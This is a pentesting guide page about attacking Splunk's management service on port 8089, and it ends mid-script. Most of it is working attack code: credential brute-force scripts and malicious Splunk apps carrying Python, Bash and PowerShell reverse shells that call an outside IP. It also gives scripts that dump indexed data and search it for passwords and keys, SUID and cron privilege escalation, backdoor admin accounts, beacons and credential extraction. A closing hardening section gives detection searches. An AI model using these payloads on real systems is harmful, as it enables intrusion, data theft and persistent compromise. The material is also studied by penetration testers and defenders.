# Splunkd - Port 8089

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

#### What is Splunk?

**Splunk** is a data platform that enables organizations to:

* **Search and investigate** machine data in real-time
* **Monitor and alert** on operational metrics and security events
* **Analyze and visualize** data through dashboards
* **Correlate events** across disparate data sources
* **Generate reports** for compliance and business intelligence

#### Splunk Architecture

```
┌─────────────────────────────────────────────────────────────┐
│                    Splunk Architecture                      │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  ┌─────────────┐         ┌─────────────┐                    │
│  │   Forwarder │────────>│   Indexer   │                    │
│  │  (Collects) │         │  (Stores &  │                    │
│  │    Data     │         │   Indexes)  │                    │
│  └─────────────┘         └──────┬──────┘                    │
│                                 │                           │
│                                 V                           │
│                         ┌───────────────┐                   │
│                         │ Search Head   │                   │
│                         │ (Query & UI)  │                   │
│                         └───────────────┘                   │
│                                 │                           │
│                                 V                           │
│                         ┌───────────────┐                   │
│                         │   Web UI      │                   │
│                         │  (Port 8000)  │                   │
│                         └───────────────┘                   │
│                                                             │
│                         ┌───────────────┐                   │
│                         │   Splunkd     │                   │
│                         │  Management   │                   │
│                         │  (Port 8089)  │                   │
│                         └───────────────┘                   │
└─────────────────────────────────────────────────────────────┘
```

#### Splunk Components

**1. Splunk Universal Forwarder**

* Lightweight agent installed on endpoints
* Collects and forwards logs to indexers
* Runs on Windows, Linux, macOS, Unix

**2. Splunk Indexer**

* Receives and indexes data
* Stores data in searchable format
* Manages data retention

**3. Splunk Search Head**

* Provides search capabilities
* Hosts web interface
* Runs searches across indexers

**4. Splunkd (Management Service)**

* Core daemon/service
* Handles API requests
* Manages authentication
* Executes scripts and apps

#### Splunk Deployment Models

**Standalone Instance:**

```
Single server running all components
- Indexer + Search Head + Web UI
- Common in small deployments
- All services on one machine
```

**Distributed Deployment:**

```
Multiple servers with specific roles
- Forwarders → Indexers → Search Heads
- Scales to enterprise size
- Separation of concerns
```

#### Default Ports

**Port 8089** - Splunkd Management Port (Primary Target)

* REST API endpoint
* Administrative interface
* Authentication required
* SSL/TLS by default

**Port 8000** - Splunk Web Interface

* User-facing web UI
* HTTP/HTTPS
* Dashboard and search interface

**Port 9997** - Splunk Forwarder

* Data receiving port
* Forwarder to Indexer communication

**Port 8191** - Key-Value Store

* Optional component
* Distributed configuration

```
PORT     STATE SERVICE
8000/tcp open  http    Splunk httpd
8089/tcp open  ssl     Splunkd
9997/tcp open  splunkd Splunk forwarder
```

## Reconnaissance & Enumeration

### Port Scanning

**Basic Nmap Scan**

```bash
# Quick scan
nmap -p 8000,8089,9997 -sV <target-ip>

# Detailed scan
nmap -p 8000,8089,9997 -sV -sC <target-ip>

# Comprehensive Splunk scan
nmap -p 8000,8089,8191,9997 -sV -sC --script=http-title,ssl-cert <target-ip>

# Scan entire subnet
nmap -p 8000,8089,9997 -sV <target-subnet>/24 -oA splunk-scan

# Aggressive scan
nmap -p 8000,8089 -A <target-ip>
```

**Sample Output:**

```
PORT     STATE SERVICE  VERSION
8000/tcp open  http     Splunk httpd
|_http-title: Splunk Enterprise
8089/tcp open  ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert
| Subject Alternative Name: DNS:splunk.local
|_Not valid after:  2025-01-01T00:00:00
|_http-title: splunkd
9997/tcp open  splunkd  Splunk forwarder
```

### Service Fingerprinting

**Version Detection via HTTP**

```bash
# Check web interface
curl -s http://<target-ip>:8000 | grep -i "splunk"

# Check splunkd service
curl -sk https://<target-ip>:8089/services/server/info

# Banner grab
curl -sk https://<target-ip>:8089/services/server/info/server-info | grep version
```

**Via Splunk CLI (if installed locally)**

```bash
# Query remote server info
splunk show servername -uri https://<target-ip>:8089

# Get version
splunk version

# List all deployed apps
splunk list app -auth admin:password
```

**SSL Certificate Analysis**

```bash
# Get certificate details
openssl s_client -connect <target-ip>:8089 < /dev/null 2>/dev/null | openssl x509 -noout -text

# Extract common name
echo | openssl s_client -connect <target-ip>:8089 2>/dev/null | openssl x509 -noout -subject

# Check certificate validity
nmap -p 8089 --script ssl-cert <target-ip>
```

### Shodan Queries

Find exposed Splunk instances:

```
port:8089 splunk
"splunkd"
product:Splunk
ssl:"SplunkServerDefaultCert"
port:8000 "Splunk"
http.title:"Splunk"
```

#### Web Interface Enumeration

**Access Splunk Web UI**

```bash
# Main page
curl -s http://<target-ip>:8000/

# Login page
curl -s http://<target-ip>:8000/en-US/account/login

# Via browser
firefox http://<target-ip>:8000
```

**Check for Free/Enterprise Version**

```bash
# Free version indicators:
# - No authentication on some endpoints
# - Limited features
# - "Splunk Free" in title/branding

# Enterprise version:
# - Full authentication
# - License management
# - Advanced features

# Check via API
curl -sk https://<target-ip>:8089/services/server/info | grep -i license
```

### Vulnerability Analysis

#### 1. Free Version - No Authentication

**Issue:** Splunk Free version (converted from trial after 60 days) may lack authentication

**Detection:**

```bash
# Try accessing without authentication
curl -sk https://<target-ip>:8089/services/server/info

# If successful without credentials, it's unauthenticated

# Try web interface
curl -s http://<target-ip>:8000/en-US/app/launcher/home

# If redirects to home instead of login, no auth required
```

**Exploitation:**

```bash
# List all apps
curl -sk https://<target-ip>:8089/services/apps/local

# Search data
curl -sk https://<target-ip>:8089/services/search/jobs \
  -d search="search * | head 100"

# Create search job and get results
SEARCH_ID=$(curl -sk https://<target-ip>:8089/services/search/jobs \
  -u admin: \
  -d search="search index=* | head 1000" | grep -oP 'sid>\K[^<]+')

# Wait for job to complete
sleep 5

# Get results
curl -sk https://<target-ip>:8089/services/search/jobs/$SEARCH_ID/results
```

#### 2. Default Credentials

**Common Default Credentials:**

```
# Older versions
admin:changeme

# Common weak passwords
admin:admin
admin:password
admin:Password123
admin:Welcome1
admin:splunk
admin:Splunk123
```

**Testing Default Credentials**

```bash
# Via web interface
curl -c cookies.txt -d username=admin -d password=changeme \
  http://<target-ip>:8000/en-US/account/login

# Via API
curl -sk -u admin:changeme https://<target-ip>:8089/services/server/info

# Using Splunk CLI
splunk login -auth admin:changeme -uri https://<target-ip>:8089
```

#### 3. Credential Brute Force

**Using Hydra**

```bash
# Brute force web login
hydra -l admin -P passwords.txt <target-ip> \
  http-post-form "/en-US/account/login:username=^USER^&password=^PASS^:F=incorrect"

# Brute force API (port 8089)
hydra -l admin -P passwords.txt <target-ip> \
  -s 8089 https-get /services/server/info
```

**Using Metasploit**

```bash
msf6 > use auxiliary/scanner/http/splunk_login
msf6 auxiliary(scanner/http/splunk_login) > set RHOSTS <target-ip>
msf6 auxiliary(scanner/http/splunk_login) > set RPORT 8089
msf6 auxiliary(scanner/http/splunk_login) > set USERNAME admin
msf6 auxiliary(scanner/http/splunk_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/http/splunk_login) > run
```

**Custom Python Script**

```python
#!/usr/bin/env python3
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def brute_force_splunk(host, port, username, password_file):
    url = f"https://{host}:{port}/services/server/info"
    
    with open(password_file, 'r') as f:
        for password in f:
            password = password.strip()
            
            try:
                r = requests.get(url, 
                    auth=(username, password),
                    verify=False,
                    timeout=5)
                
                if r.status_code == 200:
                    print(f"[+] SUCCESS: {username}:{password}")
                    return password
                else:
                    print(f"[-] Failed: {username}:{password}")
                    
            except Exception as e:
                print(f"[!] Error: {e}")
    
    print("[-] Password not found")
    return None

if __name__ == "__main__":
    if len(sys.argv) != 5:
        print(f"Usage: {sys.argv[0]} <host> <port> <username> <password_file>")
        sys.exit(1)
    
    brute_force_splunk(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
```

### Remote Code Execution (RCE)

#### Method 1: Custom Splunk App with Scripted Inputs

**Concept:** Splunk apps can contain scripted inputs (Python, Bash, PowerShell, Batch) that execute automatically

**Step-by-Step Exploitation:**

**1. Create Malicious App Structure**

```bash
# Create directory structure
mkdir -p malicious_app/bin
mkdir -p malicious_app/default

# App name
APP_NAME="malicious_app"
```

**2. Create Reverse Shell Script**

**For Linux (Python):**

```python
# malicious_app/bin/reverse_shell.py
#!/usr/bin/env python3
import sys, socket, os, pty

ip = "10.10.14.5"
port = 4444

s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
```

**For Linux (Bash):**

```bash
# malicious_app/bin/reverse_shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
```

**For Windows (PowerShell):**

```powershell
# malicious_app/bin/reverse_shell.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()
```

**For Windows (Batch):**

```batch
REM malicious_app/bin/reverse_shell.bat
@echo off
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

**3. Create inputs.conf**

```ini
# malicious_app/default/inputs.conf

[script://$SPLUNK_HOME/etc/apps/malicious_app/bin/reverse_shell.py]
disabled = 0
interval = 10
sourcetype = custom_script
index = main

# For Windows PowerShell:
# [script://$SPLUNK_HOME/etc/apps/malicious_app/bin/reverse_shell.ps1]
# disabled = 0
# interval = 10
# sourcetype = custom_script
# index = main
```

**4. Create app.conf**

```ini
# malicious_app/default/app.conf

[install]
is_configured = true

[ui]
is_visible = false
label = System Monitor

[launcher]
author = System
description = System monitoring application
version = 1.0
```

**5. Package the App**

```bash
# Make scripts executable
chmod +x malicious_app/bin/reverse_shell.py
chmod +x malicious_app/bin/reverse_shell.sh

# Create tarball
tar -czf malicious_app.tar.gz malicious_app/

# Or zip (for Windows compatibility)
zip -r malicious_app.zip malicious_app/
```

**6. Deploy the App**

```bash
# Method 1: Via Web UI
# 1. Login to Splunk Web UI (http://<target>:8000)
# 2. Go to "Apps" > "Manage Apps"
# 3. Click "Install app from file"
# 4. Upload malicious_app.tar.gz
# 5. Click "Upload"
# 6. Shell executes automatically!

# Method 2: Via API
curl -sk -u admin:password \
  https://<target-ip>:8089/services/apps/local \
  -F "name=malicious_app" \
  -F "appfile=@malicious_app.tar.gz" \
  -F "update=true"

# Method 3: Via Splunk CLI
splunk install app /path/to/malicious_app.tar.gz \
  -auth admin:password \
  -uri https://<target-ip>:8089
```

**7. Get Shell**

```bash
# Start listener before uploading
nc -lvnp 4444

# Upload app (using any method above)
# Wait 10 seconds (interval from inputs.conf)
# Shell connects back!
```

#### Method 2: Using Pre-Made Exploit

**Using reverse\_shell\_splunk Tool**

```bash
# Clone the repository
git clone https://github.com/0xjpuff/reverse_shell_splunk.git
cd reverse_shell_splunk

# Edit the script with your IP and port
nano reverse_shell_splunk/bin/rev.py

# Change:
ip = "YOUR_IP"
port = YOUR_PORT

# Package the app
tar -czf reverse_shell.tar.gz reverse_shell_splunk/

# Start listener
nc -lvnp 4444

# Upload via web UI or API
curl -sk -u admin:password \
  https://<target-ip>:8089/services/apps/local \
  -F "name=reverse_shell" \
  -F "appfile=@reverse_shell.tar.gz"

# Wait for shell
```

#### Method 3: Splunk Search Command Injection

**Via Search Processing Language (SPL)**

```bash
# Some commands can execute system commands
# This requires specific app configurations

# Example using outputlookup with eval
index=main | eval cmd="whoami" | outputlookup cmd_output.csv

# Example using script command (if custom scripts exist)
| script python script_name.py

# Example using external commands (if configured)
| sendalert email command="whoami"
```

#### Method 4: REST API Command Execution

**Via server/control/restart endpoint (with proper permissions)**

```bash
# Restart Splunk (can be used to load backdoors)
curl -sk -u admin:password \
  -X POST \
  https://<target-ip>:8089/services/server/control/restart

# Install app via REST API
curl -sk -u admin:password \
  https://<target-ip>:8089/services/apps/local \
  -d name=backdoor \
  -d filename=backdoor.tar.gz \
  -d update=true
```

#### Method 5: Metasploit Modules

**Using Metasploit for RCE**

```bash
# Use the app deployment module
msf6 > use exploit/multi/http/splunk_upload_app_exec
msf6 exploit(multi/http/splunk_upload_app_exec) > set RHOSTS <target-ip>
msf6 exploit(multi/http/splunk_upload_app_exec) > set RPORT 8089
msf6 exploit(multi/http/splunk_upload_app_exec) > set USERNAME admin
msf6 exploit(multi/http/splunk_upload_app_exec) > set PASSWORD password
msf6 exploit(multi/http/splunk_upload_app_exec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/http/splunk_upload_app_exec) > set LHOST <attacker-ip>
msf6 exploit(multi/http/splunk_upload_app_exec) > set LPORT 4444
msf6 exploit(multi/http/splunk_upload_app_exec) > exploit

# Alternative: Use scripted input module
msf6 > use exploit/unix/http/splunk_scripted_input_exec
msf6 exploit(unix/http/splunk_scripted_input_exec) > set RHOSTS <target-ip>
msf6 exploit(unix/http/splunk_scripted_input_exec) > set USERNAME admin
msf6 exploit(unix/http/splunk_scripted_input_exec) > set PASSWORD password
msf6 exploit(unix/http/splunk_scripted_input_exec) > exploit
```

## Data Exfiltration

### Search Sensitive Data

**Via Web UI Search:**

```
# Search for passwords
index=* password OR pass OR pwd | table _time, host, source, _raw

# Search for credentials
index=* (username OR user OR login) AND (password OR pass) | table _time, _raw

# Search for API keys
index=* (api_key OR apikey OR token) | table _time, source, _raw

# Search for database connections
index=* (jdbc OR mysql OR postgres OR oracle) AND (connection OR connect) | table _time, _raw

# Search for SSH keys
index=* "BEGIN RSA PRIVATE KEY" OR "BEGIN OPENSSH PRIVATE KEY" | table _time, source, _raw

# Search for AWS credentials
index=* (aws_access_key_id OR aws_secret_access_key) | table _time, _raw

# Search all indexes
| eventcount summarize=false index=* | table index
```

**Via REST API:**

```bash
# Create search job
SEARCH_JOB=$(curl -sk -u admin:password \
  https://<target-ip>:8089/services/search/jobs \
  -d search='search index=* password | head 1000' \
  -d output_mode=json | jq -r '.sid')

echo "Job ID: $SEARCH_JOB"

# Wait for job to complete
sleep 10

# Check job status
curl -sk -u admin:password \
  https://<target-ip>:8089/services/search/jobs/$SEARCH_JOB \
  -d output_mode=json | jq .

# Get results
curl -sk -u admin:password \
  https://<target-ip>:8089/services/search/jobs/$SEARCH_JOB/results \
  -d output_mode=json > results.json

# View results
cat results.json | jq .
```

#### Export Data

**Export Search Results:**

```bash
# Export to CSV
curl -sk -u admin:password \
  https://<target-ip>:8089/services/search/jobs/$SEARCH_JOB/results \
  -d output_mode=csv > export.csv

# Export to JSON
curl -sk -u admin:password \
  https://<target-ip>:8089/services/search/jobs/$SEARCH_JOB/results \
  -d output_mode=json > export.json

# Export to XML
curl -sk -u admin:password \
  https://<target-ip>:8089/services/search/jobs/$SEARCH_JOB/results \
  -d output_mode=xml > export.xml
```

**Dump Entire Index:**

```bash
#!/bin/bash
# Script to dump all data from Splunk index

HOST=$1
USERNAME=$2
PASSWORD=$3
INDEX=$4

if [ -z "$INDEX" ]; then
    echo "Usage: $0 <host> <username> <password> <index>"
    exit 1
fi

AUTH="$USERNAME:$PASSWORD"

# Create search job to dump index
echo "[*] Creating search job for index: $INDEX"

SEARCH_JOB=$(curl -sk -u $AUTH \
    https://$HOST:8089/services/search/jobs \
    -d search="search index=$INDEX | head 10000" \
    -d output_mode=json | jq -r '.sid')

if [ -z "$SEARCH_JOB" ]; then
    echo "[-] Failed to create search job"
    exit 1
fi

echo "[+] Job ID: $SEARCH_JOB"
echo "[*] Waiting for job to complete..."

# Wait for job
sleep 30

# Export results
echo "[*] Exporting results..."
curl -sk -u $AUTH \
    https://$HOST:8089/services/search/jobs/$SEARCH_JOB/results \
    -d output_mode=csv > ${INDEX}_dump.csv

echo "[+] Exported to ${INDEX}_dump.csv"

# Get result count
RESULTS=$(curl -sk -u $AUTH \
    https://$HOST:8089/services/search/jobs/$SEARCH_JOB \
    -d output_mode=json | jq -r '.entry[0].content.resultCount')

echo "[+] Exported $RESULTS results"
```

#### List and Download Apps

**Enumerate Installed Apps:**

```bash
# List all apps
curl -sk -u admin:password \
  https://<target-ip>:8089/services/apps/local \
  -d output_mode=json | jq .

# Get specific app details
curl -sk -u admin:password \
  https://<target-ip>:8089/services/apps/local/search \
  -d output_mode=json | jq .
```

**Download App Packages:**

```bash
# Apps are stored in $SPLUNK_HOME/etc/apps/
# If you have shell access:

# List apps
ls -la /opt/splunk/etc/apps/

# Package an app
cd /opt/splunk/etc/apps/
tar -czf /tmp/app_backup.tar.gz app_name/

# Download via web interface
# Navigate to: http://<target>:8000/en-US/manager/system/apps/local
```

## Privilege Escalation

### Local Privilege Escalation (Linux)

**Splunk runs as root by default on Linux!**

**Method 1: Malicious App with SUID Binary**

```bash
# If you can deploy an app and Splunk runs as root
# Create app with SUID shell

# 1. Get shell as splunk user (low privilege)
# 2. Create malicious app

mkdir -p /opt/splunk/etc/apps/privesc/bin

# 3. Create SUID shell
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF

gcc /tmp/shell.c -o /tmp/suid_shell

# 4. Copy to app directory (when Splunk restarts as root)
# Create inputs.conf that copies and sets SUID

cat > /opt/splunk/etc/apps/privesc/default/inputs.conf << 'EOF'
[script://$SPLUNK_HOME/etc/apps/privesc/bin/setup.sh]
disabled = 0
interval = 10
sourcetype = setup
EOF

cat > /opt/splunk/etc/apps/privesc/bin/setup.sh << 'EOF'
#!/bin/bash
cp /tmp/suid_shell /tmp/root_shell
chmod 4755 /tmp/root_shell
EOF

chmod +x /opt/splunk/etc/apps/privesc/bin/setup.sh

# 5. Restart Splunk (requires privileges or wait for restart)
/opt/splunk/bin/splunk restart

# 6. Execute SUID shell
/tmp/root_shell
```

**Method 2: Splunk Forwarder Privilege Escalation**

```bash
# If Splunk Universal Forwarder runs as root
# And you can write to the deployment apps directory

# 1. Check Splunk forwarder
ps aux | grep splunkd

# 2. Find apps directory
find / -name "etc/apps" 2>/dev/null

# 3. Create malicious app in deployment-apps
mkdir -p /opt/splunkforwarder/etc/deployment-apps/privesc/bin
mkdir -p /opt/splunkforwarder/etc/deployment-apps/privesc/default

# 4. Create reverse shell script
cat > /opt/splunkforwarder/etc/deployment-apps/privesc/bin/shell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
EOF

chmod +x /opt/splunkforwarder/etc/deployment-apps/privesc/bin/shell.sh

# 5. Create inputs.conf
cat > /opt/splunkforwarder/etc/deployment-apps/privesc/default/inputs.conf << 'EOF'
[script://./bin/shell.sh]
disabled = 0
interval = 10
sourcetype = shell
EOF

# 6. Reload deployment server or restart forwarder
/opt/splunkforwarder/bin/splunk reload deploy-server

# 7. Shell connects as root
```

**Method 3: Cron Job Manipulation**

```bash
# Splunk creates cron jobs in /etc/cron.d/
# If you can write to Splunk directories

# Find Splunk cron jobs
ls -la /etc/cron.d/ | grep splunk

# Modify or create cron job
echo '* * * * * root /tmp/backdoor.sh' > /etc/cron.d/splunk_privesc

# Create backdoor
cat > /tmp/backdoor.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/5555 0>&1
EOF

chmod +x /tmp/backdoor.sh

# Wait for cron to execute
```

#### Windows Privilege Escalation

**Method 1: Service Manipulation**

```powershell
# Splunk service runs as SYSTEM by default

# If you can modify Splunk service
sc config Splunkd binPath= "cmd.exe /c net user backdoor Password123! /add & sc config Splunkd binPath= \"C:\Program Files\Splunk\bin\splunkd.exe\""

# Restart service
sc stop Splunkd
sc start Splunkd

# User created as SYSTEM
net localgroup administrators backdoor /add
```

**Method 2: DLL Hijacking**

```powershell
# Find writable directories in Splunk PATH
Get-ChildItem "C:\Program Files\Splunk" -Recurse | Where-Object {$_.PSIsContainer -eq $true} | ForEach-Object {$_.FullName}

# Create malicious DLL
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o splunk.dll

# Place in Splunk directory
Copy-Item splunk.dll "C:\Program Files\Splunk\bin\"

# Restart Splunk service
Restart-Service Splunkd
```

### Persistence

#### Backdoor User Creation

```bash
# Via REST API
curl -sk -u admin:password \
  https://<target-ip>:8089/services/authentication/users \
  -d name=backdoor \
  -d password=SecretPass123! \
  -d roles=admin

# Verify
curl -sk -u backdoor:SecretPass123! \
  https://<target-ip>:8089/services/server/info
```

#### Persistent App Backdoor

```bash
# Create app with multiple backdoors

# 1. Reverse shell script
# 2. Scheduled beacon script
# 3. Webshell in app's web directory

# Create beacon script
cat > malicious_app/bin/beacon.sh << 'EOF'
#!/bin/bash
while true; do
    bash -i >& /dev/tcp/10.10.14.5/4444 0>&1 2>/dev/null
    sleep 3600
done
EOF

# Configure in inputs.conf
[script://$SPLUNK_HOME/etc/apps/malicious_app/bin/beacon.sh]
disabled = 0
interval = 3600
sourcetype = beacon
```

#### Scheduled Search Backdoor

```bash
# Create scheduled search that executes commands

# Via REST API
curl -sk -u admin:password \
  https://<target-ip>:8089/services/saved/searches \
  -d name=SystemHealthCheck \
  -d search='| script python /tmp/backdoor.py' \
  -d cron_schedule='*/10 * * * *' \
  -d actions=script \
  -d action.script.filename=backdoor.sh
```

## Post-Exploitation

#### Credential Extraction

**From passwd File:**

```bash
# Splunk passwords are stored in passwd file (hashed)
# Location: $SPLUNK_HOME/etc/passwd

# Read passwd file
cat /opt/splunk/etc/passwd

# Sample format:
# admin:$6$rounds=100000$...hash...:Administrator:admin:admin@example.com::

# Extract hashes
grep -v "^#" /opt/splunk/etc/passwd | cut -d: -f2

# Crack with John
john --wordlist=/usr/share/wordlists/rockyou.txt passwd.hashes

# Or Hashcat (SHA-512)
hashcat -m 1800 passwd.hashes /usr/share/wordlists/rockyou.txt
```

**From splunk.secret:**

```bash
# Splunk stores encrypted passwords
# Key file: $SPLUNK_HOME/etc/auth/splunk.secret

# Read secret
cat /opt/splunk/etc/auth/splunk.secret

# Decrypt passwords (requires Splunk installation)
/opt/splunk/bin/splunk show-encrypted --value '<encrypted_value>'
```

**From App Configurations:**

```bash
# Many apps store credentials in conf files
# Search for passwords
grep -r "password" /opt/splunk/etc/apps/*/default/*.conf
grep -r "password" /opt/splunk/etc/apps/*/local/*.conf

# Common locations:
# - inputs.conf (database connections, API keys)
# - outputs.conf (forwarding credentials)
# - web.conf (LDAP passwords)
# - authentication.conf (auth backend passwords)
```

#### Lateral Movement

**Use Splunk as Pivot:**

```bash
# 1. Extract credentials from logs
index=* password | table host, source, password

# 2. Find other Splunk instances
index=* sourcetype=splunkd | stats count by host

# 3. Use deployment server to push to forwarders
# Edit serverclass.conf to push malicious apps

# 4. Access connected systems via stored credentials
```

**Extract Network Topology:**

```bash
# Search for network information
index=* sourcetype=netstat | table _time, host, src_ip, dest_ip, dest_port

# Find administrative systems
index=* (ssh OR rdp OR winrm OR psexec) | stats count by host, user

# Identify high-value targets
index=* (database OR sql OR oracle OR dc OR domain) | stats values(host)
```

## Defense & Hardening

#### Secure Installation

**Initial Setup:**

```bash
# 1. Set strong admin password during installation
./splunk start --accept-license
# When prompted, set strong password

# 2. Bind to localhost only (if not needed remotely)
# Edit $SPLUNK_HOME/etc/system/local/web.conf
[settings]
httpport = 8000
enableSplunkWebSSL = true
server.socket_host = 127.0.0.1

# 3. Secure Splunkd
# Edit $SPLUNK_HOME/etc/system/local/server.conf
[sslConfig]
sslVerifyServerCert = true
requireClientCert = true

[httpServer]
allowSslRenegotiation = false
```

**Disable Free License Features:**

```bash
# Ensure Enterprise license is active
./splunk list licenses

# Never allow trial to convert to free
# Monitor license expiration
./splunk show license-status
```

#### Authentication & Access Control

**Enable Strong Authentication:**

```bash
# Use LDAP/AD authentication
# Edit authentication.conf

[authentication]
authType = LDAP

[LDAP]
host = ldap.example.com
port = 636
SSLEnabled = 1
userBaseDN = ou=users,dc=example,dc=com
groupBaseDN = ou=groups,dc=example,dc=com
```

**Multi-Factor Authentication:**

```bash
# Configure MFA (Splunk Enterprise 7.0+)
# Via Web UI: Settings > Access Controls > Authentication Method
# Enable: "Duo Security" or "SAML"

# Or edit authentication.conf
[duo_auth]
enabled = true
integrationKey = <key>
secretKey = <secret>
apiHostname = api-xxx.duosecurity.com
```

**Role-Based Access Control (RBAC):**

```bash
# Create custom roles with minimal permissions
# Via Web UI: Settings > Access Controls > Roles

# Or via CLI
./splunk add role limited_user \
  -srchIndexesAllowed main \
  -srchFilter 'host=specific_host'

# Assign roles to users
./splunk edit user username -role limited_user
```

#### Network Security

**Firewall Rules:**

```bash
# UFW
sudo ufw deny 8000/tcp
sudo ufw deny 8089/tcp
sudo ufw allow from 192.168.1.0/24 to any port 8000
sudo ufw allow from 192.168.1.0/24 to any port 8089

# iptables
sudo iptables -A INPUT -p tcp --dport 8000 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 8089 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 8000 -j DROP
sudo iptables -A INPUT -p tcp --dport 8089 -j DROP

# Save rules
sudo iptables-save > /etc/iptables/rules.v4
```

**Use TLS/SSL:**

```bash
# Generate SSL certificate
openssl req -x509 -newkey rsa:4096 -keyout splunk.key -out splunk.cert -days 365 -nodes

# Configure Splunk Web
# Edit web.conf
[settings]
enableSplunkWebSSL = true
privKeyPath = /opt/splunk/etc/auth/splunk.key
serverCert = /opt/splunk/etc/auth/splunk.cert

# Configure Splunkd
# Edit server.conf
[sslConfig]
enableSplunkdSSL = true
serverCert = /opt/splunk/etc/auth/splunk.cert
sslPassword = <password>
```

**Reverse Proxy:**

```nginx
# Nginx configuration
server {
    listen 443 ssl;
    server_name splunk.example.com;
    
    ssl_certificate /etc/ssl/certs/splunk.crt;
    ssl_certificate_key /etc/ssl/private/splunk.key;
    
    location / {
        proxy_pass https://127.0.0.1:8000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        
        # IP whitelist
        allow 192.168.1.0/24;
        deny all;
    }
}
```

#### Monitoring & Detection

**Enable Audit Logging:**

```bash
# Edit audit.conf
[auditTrail]
enabled = true

# Monitor audit logs
tail -f $SPLUNK_HOME/var/log/splunk/audit.log

# Search for suspicious activity
index=_audit action=edit OR action=create | table _time, user, action, info
```

**Monitor for RCE Attempts:**

```bash
# Search for app installations
index=_internal source=*splunkd.log* "Installing app"

# Search for scripted input creations
index=_internal source=*splunkd.log* "script input"

# Search for authentication failures
index=_audit action=login status=failure | stats count by user, src_ip

# Search for privilege escalation
index=_audit action=edit object=authorization/roles | table _time, user, roles
```

**Intrusion Detection Rules:**

```bash
# Splunk search-based alerts

# Alert on app installation
index=_internal source=*splunkd.log* "Installing app" 
| eval risk_score=100 
| table _time, user, app_name

# Alert on scripted input
index=_internal source=*splunkd.log* component=ExecProcessor 
| stats count by host, script_path

# Alert on role modification
index=_audit action=edit object=authorization/roles 
| where user!="admin" 
| table _time, user, changes
```

#### Regular Security Audits

```bash
# Check for default credentials
./splunk show user admin

# List all users
./splunk list user

# Check user roles
./splunk list role

# Audit installed apps
./splunk list app

# Review app permissions
./splunk display app <app_name>

# Check for unauthorized modifications
find $SPLUNK_HOME/etc/apps -type f -mtime -1

# Verify file integrity
./splunk btool check

# Review authentication settings
./splunk btool authentication list
```

#### Update & Patch

```bash
# Check current version
./splunk version

# Download latest version
wget -O splunk-latest.tgz 'https://www.splunk.com/...'

# Backup before upgrade
./splunk stop
tar -czf splunk_backup.tar.gz /opt/splunk/

# Upgrade
./splunk start --accept-license

# Verify upgrade
./splunk version
```

## Tools & Scripts

#### Essential Tools

1. **Splunk CLI** - Official command-line interface
2. **curl** - REST API interaction
3. **Metasploit** - Exploitation framework
4. **nmap** - Port scanning
5. **SplunkWhisperer** - Automated exploitation tool

#### SplunkWhisperer (Automated Exploitation)

```bash
# Clone repository
git clone https://github.com/cnotin/SplunkWhisperer2.git
cd SplunkWhisperer2

# Python requirements
pip3 install requests

# Local privilege escalation (Linux)
python3 PySplunkWhisperer2_local.py --scheme https --host 127.0.0.1 --lhost 10.10.14.5 --lport 4444

# Remote exploitation
python3 PySplunkWhisperer2_remote.py --host <target-ip> --lhost 10.10.14.5 --lport 4444 --username admin --password password
```

#### Custom Enumeration Script

```python
#!/usr/bin/env python3
"""
